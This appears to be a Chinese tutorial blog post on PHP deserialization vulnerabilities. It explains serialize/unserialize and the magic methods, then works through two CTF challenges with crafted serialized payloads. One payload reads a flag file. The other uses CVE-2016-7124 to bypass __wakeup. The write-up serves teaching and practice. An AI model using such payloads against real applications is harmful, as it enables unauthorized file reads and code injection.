PHP反序列化漏洞

1、序列化与反序列化

serialize()返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构,序列化说通俗点就是把一个对象变成可以传输的字符串。
想要将已序列化的字符串变回 PHP 的值,可使用unserialize(),反序列化就是把那串可以传输的字符串再变回对象。serialize()可处理除了resource之外的任何类型。甚至可以serialize()那些包含了指向其自身引用的数组。关于resource类型:
资源数据类型是PHP4引进的。资源是一种特殊的变量类型,保存了到外部资源的一个引用:如打开文件、数据库连接、图形画布区
域等。资源是通过专门的函数来建立和使用的。资源变量在PHP中的使用。
serialize()和unserialize()在php手册上的解释是:
serialize — Generates a storable representation of a value
serialize — 产生一个可存储的值的表示
unserialize — Creates a PHP value from a stored representation
unserialize — 从已存储的表示中创建 PHP 的值
serialize,翻译过来叫“连载, 使连续”,通常称它为“序列化”。
serialize()序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数__sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用unserialize()恢复对象时, 将调用__wakeup()成员函数。
实例分析:
假设,写一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。
这个时候可以把这个对象序列化了,存成一个字符串,当要用的时候再放他出来。
<?php
class DemoClass{
    public $name = 'virtua1';
    public $sex = 'man';
    public $age = '20';
}

$example = new DemoClass();
$example->name = 'whcat';
$example->sex = 'woman';
$example->age = '20';
?>
先创了个DemoClass,里面存了点信息,new了一个实例$example的时候,将这个class里的一些信息给改变了。
如果之后还要用到这个实例怎么办呢,就先将他序列化存起来,到时候用的时候再放出来。用serialize()这个函数就行了。
<?php
class DemoClass{
    public $name = 'virtua1';
    public $sex = 'man';
    public $age = '20';
}

$example = new DemoClass();
$example->name = 'whcat';
$example->sex = 'woman';
$example->age = '20';

echo serialize($example);
//O:9:"DemoClass":3:{s:4:"name";s:5:"whcat";s:3:"sex";s:5:"woman";s:3:"age";s:2:"20";}
?>
​反序列回来:
<?php
class DemoClass{
    public $name = 'virtua1';
    public $sex = 'man';
    public $age = '20';
}

$example = new DemoClass();
$example->name = 'whcat';
$example->sex = 'woman';
$example->age = '20';

$exp = serialize($example);
//O:9:"DemoClass":3:{s:4:"name";s:5:"whcat";s:3:"sex";s:5:"woman";s:3:"age";s:2:"20";}
$newexp = unserialize($exp);
echo $newexp->name;
echo '<br>';
echo $newexp->sex;
echo '<br>';
echo $newexp->age;
echo '<br>';
// whcat
//woman
//20
?>

2、魔术方法

1、魔术方法

php类中可能会包含一些特殊的函数叫魔术函数,魔术函数的命名是以_开头的。
常见的魔术方法:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set(), _state(), __clone(), __debugInfo() …
反序列化漏洞中常见到有一些魔术方法:
__construct():在对象创建时自动被调用; __destruct():在脚本运行结束时自动被调用;__sleep():在对象序列化的时候自动被调用;__wakeup():在反序列化为对象时自动被调用;__toString(): 直接输出对象引用时自动被调用;

2、触发魔术方法

(1)构造方法 _construct()
构造方法是类中的一个特殊方法。在使用new操作符创建一个类的实例时,构造方法将会自动调用,其名称必须是_construct。在一个类中 只能声明一个构造方法,而是只有在每次创建对象的时候都会去调用一次构造方法,不能主动的调用这个方法,所以通常用它执行一些有用的初始化任务。该方法无返回值。
(2)析构方法:_destruct()
析构方法__destruct()允许在销毁一个类之前执行执行析构方法,与构造方法对应的就是析构方法,析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集,程序运行结束等。析构函数不能带有任何参数,其名称必须是__destruct()。
(3)_sleep()
__sleep()方法是在一个类的实例被序列化了的时候调用,_wakeup()是在反序列化时被调用。__sleep()必须返回一个数组或者对象,而一般返回的是当前对象$this。返回的值将会被用来做序列化的值。如果不返回这个值,自然表示序列化失败。同时也会连累到反序列化时不会调用__wakeup()方法。
(4)_tostring()
如果我们想打印出一个对象,就需要调用__toString()这个魔术方法了,该方法会在直接输出对象引用时自动被调用,此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
示例:
<?php  
   
class Test  
{  
    public $variable = 'BUZZ';  
    public $variable2 = 'OTHER';  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    public function __construct()  
    {  
        echo '__construct<br />';  
    }  
   
    public function __destruct()  
    {  
        echo '__destruct<br />';  
    }  
   
    public function __wakeup()  
    {  
        echo '__wakeup<br />';  
    }  
   
    public function __sleep()  
    {  
        echo '__sleep<br />';  
   
        return array('variable', 'variable2');  
    }  
}  
   
// 创建对象调用__construct
   
$obj = new Test();  
   
// 序列化对象调用__sleep  
   
$serialized = serialize($obj);  
   
// 输出序列化后的字符串  
   
print 'Serialized: ' . $serialized . '<br />';  
   
// 重建对象调用__wakeup  
   
$obj2 = unserialize($serialized);  
   
// 调用PintVariable输出数据 
   
$obj2->PrintVariable();  
   
// 脚本结束调用__destruct   
   
?> 

3、反序列化漏洞

反序列化的漏洞根源在于unserialize()函数的参数可控,如果反序列化对象中存在魔法函数,而且魔法方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、sql注入、目录遍历等。
通过一道反序列化题目来理解反序列化漏洞。
题目的背景是我们通过文件包含漏洞读到源码。
showing.php:

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

代码意思是通过get img参数赋值给$f,$f参数不能包含 .. \/ pctf 然后利用readfile()函数读取$f

index.php:

<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

代码实例化shield类,并且反序列化$g 最后调用readfile()。

shield.php:

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

看到flag在pctf.php 想到前边的读取文件函数我们要读取pctf.php,但是过滤了pctf。下边是shield类,存在魔术方法和readfile()方法。

现在思路很清晰,目的是读取pctf.php,方法是通过反序列化漏洞,class传入我们序列化的文件名,利用反序列化调用魔术方法和文件读取方法读取pctf.php。

构造:

<?php

    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }

    $clas = new Shield('pctf.php');
    echo serialize($clas);
?>
//O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
class = O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

另一道CTF题目:绕过_wakeup()魔术方法:

源码:

代码审计:

发现提示 <!--key in flag.php--> 因此我们的目的就是查看flag.php
而查看flag.php用到的方法就是利用_destruct 这个方法:
用到这个方法中的
show_source(dirname (__FILE__).'/'.$this ->file);
但是在我们反序列化的时候,也调用了
这个方法会把file 转化为index.php
我们要绕过这个方法,同时利用_construct方法。
那么这道题目的思路就是 POST file 为序列化对象,并进行base64加密,那么经过base64解密,再unserialize(),反序列化时会调用_destruct()和_wakeup() 要只调用_destruct() 绕过_wakeup() 。
这里要用到 CVE-2016-7124 ,利用序列化字符串中对象属性个数大于实际个数时就会绕过_wakeup这个魔术方法。
例子:
实际:O:6:”hacker”:1:{S:2:”id”;s:7:”virtua1”;} 
绕过:O:6:”hacker”:2:{S:2:”id”;s:7:”virtua1”;}
可以清晰的理解这种方法。
这道题目还有一个点就是:
$file是受保护类型,只能本类和子类可以访问,外部不可以访问。
payload:O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}
因为$file是protected 属性,所以用\00*\00来表示。、、\00ascii解码为0 *前后各有一个\00 合起来才能表示 protected

 

1 + 7 =
快来做第一个评论的人吧~